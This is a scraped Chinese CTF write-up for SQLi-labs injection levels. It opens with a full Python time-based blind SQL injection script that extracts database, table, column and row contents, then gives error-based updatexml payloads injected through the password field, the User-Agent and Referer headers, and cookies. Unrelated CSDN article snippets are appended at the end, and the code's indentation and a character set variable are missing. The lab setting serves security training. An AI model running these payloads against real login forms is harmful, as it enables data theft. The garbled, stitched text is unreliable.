payload= "'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"
dbnum = 0
db_list=[]
table_num = 0
table_list = []
column_num = 1
column_list = []
data_num = 0
data_list = []
def check_url(url:str,data:dict):
try:
res = requests.post(url,data=data,timeout=3)
return True
except Exception as e:
return False
def count_db_num():
global url
global dbnum
payload1 = "admin\'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))#"
low = 1
hig = 100
for i in range(low,hig):
url1 = url
data={
"uname":payload1.format(mid = i),"passwd":"admin","submit":"Submit"}
if check_url(url1,data):
dbnum = i
print("database nums :",dbnum)
break
def show_db_name():
global db_list
global dbnum
global url
payload2 = "admin\'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
for i in range(dbnum):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url
data={
"uname":payload2.format(start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
# print(url2)
# print(data)
if check_url(url2,data):
name = name + it
fg = 0
break
print(name)
if fg:
break
print("ID: ",i+1,"place dbname: ",name)
db_list.append(name)
def count_table_num(db_name:str):
global table_num
global url
payload1 = "admin\'and if((select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid},1,sleep(5) )#"
low = 1
hig = 100
for i in range(low,hig):
url1 = url
data={
"uname":payload1.format(db_name=db_name,mid = i),"passwd":"admin","submit":"Submit"}
if check_url(url1,data):
table_num = i
print("table nums : ",table_num)
break
def show_table_name(db_name:str):
global table_list
global table_num
global url
payload2 = "admin\'and if(substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
for i in range(table_num):
name = ''
for j in range(1,30):
fg = 1
for it in p1:
url2 = url
data={
"uname":payload2.format(db_name=db_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
if check_url(url2,data):
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place table_name: ",name)
table_list.append(name)
def count_column_num(table_name:str):
global column_num
global url
payload1 = "admin\'and if((select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid},1,sleep(5))#"
low = 1
hig = 30
for i in range(low,hig):
url1 = url
data={
"uname":payload1.format(table_name=table_name,mid = i),"passwd":"admin","submit":"Submit"}
if check_url(url1,data):
column_num = i
print("column num : ",column_num)
break
def show_column_name(table_name:str):
global column_list
global column_num
payload2 = "admin\'and if(substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
for i in range(column_num):
name = ''
for j in range(1,100):
fg = 1
for it in p1:
url2 = url
data={
"uname":payload2.format(table_name=table_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
if check_url(url2,data):
name = name + it
fg = 0
break
if fg:
break
print("ID: ",i+1,"place column_name: ",name)
column_list.append(name)
def count_data_num(db_name:str,table_name:str,column_name:str):
global data_num
payload1 = "admin\'and if((select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid},1,sleep(5))#"
low = 1
hig = 100
for i in range(low,hig):
url1 = url
data={
"uname":payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i),"passwd":"admin","submit":"Submit"}
if check_url(url1,data):
data_num = i
print("data num : ",data_num)
break
def show_data_name(db_name:str,table_name:str,column_name:str):
global data_list
global data_num
payload2 = "admin\'and if(substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
for i in range(data_num):
name = ''
for j in range(1,100):
fg = 1
for it in p1:
url2 = url
data={
"uname":payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
if check_url(url2,data):
name = name + it
fg = 0
break
print(name)
if fg:
break
print("ID: ",i+1,"place data_name: ",name)
data_list.append(name)
if __name__ == "__main__":
count_db_num()
show_db_name()
check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
if check_id1 <= 0 or check_id1 > len(db_list):
print("input id is error !")
exit(0)
count_table_num(db_list[check_id1-1])
show_table_name(db_list[check_id1-1])
check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
if check_id2 <= 0 or check_id2 > len(table_list):
print("input id is error !")
exit(0)
count_column_num(table_list[check_id2-1])
show_column_name(table_list[check_id2-1])
check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始:"))
if check_id3 <= 0 or check_id3 > len(column_list):
print("input id is error !")
exit(0)
count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
print("喵喵喵?")
show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
通过简单测试,我们发现和上面只不过是闭合方式不同,于是我们从'
改成"
即可,可以参照less15
的脚本
还是和之前一样,我们尝试在user name
处进行注入测试,发现没有用,只会返回一个bug
界面
于是我们尝试在密码框注入,我们发现这里存在单引号注入,并且报错会回显,于是我们尝试报错注入
我们发现联合注入不行,于是我们使用xpath
报错注入:uname=admin&passwd=1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit
发现可以回显:
于是就跟着less5的步骤一步一步做即可,我这里直接给出flag
的payload
:
uname=admin&passwd=1'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1)#&submit=Submit
我们发现只回显了31
位,于是我们调整mid
参数即可获取后面的flag
uname=admin&passwd=1'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),32),0x7e),1)#&submit=Submit
这里我们同样进行测试,发现user name
和password
这两个框没有注入点,并且我们发现这里显示了一个ip
地址,应该是我们的
那么我们猜测是否在这里存在注入点,于是我们聚焦到x-forward-for
和X-Real-IP
上面,用bp发包自定义一些注入操作,但是我们发现并没有什么用,于是我们注意到这个页面登录账号失败会显示fail
,那么我们尝试弱密码爆破一下,然后得到了账号admin
的密码admin
,同时我们发现这里多了一行信息
于是我们猜测这里是否存在注入点,我们就在User-Agent
后面加一个'
发现这里存在注入,有一个报错的提示:
经过测试,我们发现是单引号闭合,并且#
没用,于是我们尝试报错盲注(当然你也可以去试试其他注入,比如联合,不过貌似没用,因为没有回显),闭合方式为:' and '1' = '1
报错盲注:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
我们可以看到反馈:
于是流程可以参照less5
,我这里就直接给出flag
的payload
了,这里的显示同样不全,需要我们通过字符串函数截取
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1) and '1' = '1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),32),0x7e),1) and '1' = '1
和上面注入方式相同,只不过注入点变为了Referer
字段,我这里就直接给payload
了,流程参上~
Referer: http://8eced883-dce2-4b9b-87a1-c0c547f7c3bd.node4.buuoj.cn/Less-19/'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1) and '1' = '1
Referer: http://8eced883-dce2-4b9b-87a1-c0c547f7c3bd.node4.buuoj.cn/Less-19/'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),32) and '1' = '1
我们直接登录admin
账号,然后发现给我们回显一个I LOVE YOU COOKIES
于是猜测cookies
有注入,不过这里笔者这里注入没效果,具体原因不详
大家可以看看别人的博客吧~http://wjhsh.net/AmoBlogs-p-8679819.html
看了其他大佬的题解,注入方式和上面相同,只不过,注入代码需要转为base64
才行
这里需要注意闭合方式为双引号,以及需要base64
加密
文章浏览阅读1.8k次,点赞6次,收藏6次。AT模式:需要长按模块上的黑色按键上电,上电后可以松开,然后进入AT指令模式,注意AT指令模式和等待连接模式的灯光是不一样的。四针没有按键的是HC-06(只可作为从机),直接上电就是AT指令或者连接模式,可直接用手机连接,也可打开串口进行通信,或进入AT指令。六针带按键的是HC-05(主从一体,既可以做主机也可以做从机)。HC-05和HC-06的AT指令有所不同,具体指令可另加搜索。注意设置波特率为9600,而且程序中的波特率也要改为9600。注意需要设置波特率为38400,直接上电是连接模式。_hc05和hc06的区别
文章浏览阅读695次。CMAKE在linux系统下编译cuda与其它语言联合编写的程序非常好用,文中的常用命令基本都能用上。_cmake 和 rust
文章浏览阅读3k次。使用手机拍摄的视频很清晰,但是一发到朋友圈就变得很模糊了,有什么软件可以让压缩的视频画质不变,或者说能发朋友圈的视频画质不被压缩呢?或者说上传到网站这些去需要压缩到指定大小并且保持清晰度,或者说让自己手机节省更多储存空间占用更少的内存,这里就给大家推荐一款免费的视频压缩软件叫:格式作坊首先我们在安卓应用商店搜索:格式作坊第一步:下载安装格式作坊APP,如果应用商店找不到格式作坊APP的可以这里下载https://download.csdn.net/download/zhr0835/2762655_怎么把视频内存变小不影响清晰度免费
文章浏览阅读668次。过程(Process)是指一系统活动、任务和它们之间的关系,它们共同把一组输入转换成所需要的输出。决定软件产品成本、进度和质量的主要因素如下图过程能力反映的是单个过程的特征,而过程成熟度反映的是一组过程的特征。过程能力通过遵循某个过程,有能力预见未来所得到的结果范围;过程性能是特定项目遵循某过程所得到的实际结果的度量。..._改善原理包括
文章浏览阅读74次。GitHub(spring -boot 2.0.0):https://github.com/bigben0123/uaa-zuul示例(spring -boot 2.0.0):https://github.com/bigben0123/sample-spring-oauth2-microservices (讲解:https://piotrminkowski.wordpress...._springcloud oauth2 sample
iPhone免越狱Git服务器搭建教程-iSH能满足数据保存、上传、安全、低费用、随处可用、迁移容易等需求。同时提供方便的更新步骤。
文章浏览阅读351次,点赞9次,收藏5次。通过docker官方仓库源安装docker容器失败,报错为下载元数据失败。解决方案为添加国内仓库源。Ubuntu 解决方案。CentOS 解决方案。_国内无法安装docker
文章浏览阅读1.3k次,点赞39次,收藏39次。SaaS模式Java版云HIS系统是一款在公立二甲医院应用三年的成熟系统,经过多年持续优化和打磨,系统运行稳定、功能齐全,界面布局合理、操作简便。该系统融合了B/S版电子病历系统,支持电子病历四级_云his系统功能清单
文章浏览阅读1.2w次,点赞4次,收藏10次。有时候我们的应用我们希望他点击一次返回键的时候不是退出应用而是返回到桌面,比如像QQ和微信等聊天软件,在主界面点击返回键的时候不是退出应用而是返回到桌面,那么怎么能够实现这种需求呢?其实也很简单,只需要重写onKeyDown()这个方法,在方法里面实现返回的代码,这样就可以实现这个需求了,具体代码如下所示:@Overridepublic boolean onKeyDown(int keyCode,_手机应用是直接退出还是返回桌面
文章浏览阅读1.9w次。在cocos2dx 中使用spine骨骼动画初探最近在制作一款2D横版游戏,主要使用spine来做骨骼动画。 我用的是1.7版本的破解版spine,大家可以自行百度 刚打开spine就是一个样例:spineboy,我就打算用这个素材。 右边的资源栏有两个Animation,一个是跳(jump),一个是走路(walk),界面左上角有个setup按钮,点击会切换到动作模式,如下图: 动作模式下方_cocos2dx spine
文章浏览阅读953次,点赞29次,收藏25次。数字零售力航母-看微软如何重塑媒体?从2024全美广播协会展会看微软如何整合营销媒体AI技术和AI平台公司。 微软打造的“数据+技术+云”平台将为各个参与者(stakeholder)提供各种合作的机会和可能,互联网会产生更多的合作模式和技术组合。再次巩固数字化营销工兵的认知–任何一个人,一个组织,必须成为某个细分领域的专家,就像数据的颗粒度那样,越细,越能反映事物的独一特征(unique feature)
文章浏览阅读1.7k次。subprocess.check_output()输入linux交互命令执行命令,返回执行的结果,而不是打印res = subprocess.check_output("pwd")res>>>b'/Users/Documents/code\n'_subprocess.check_output()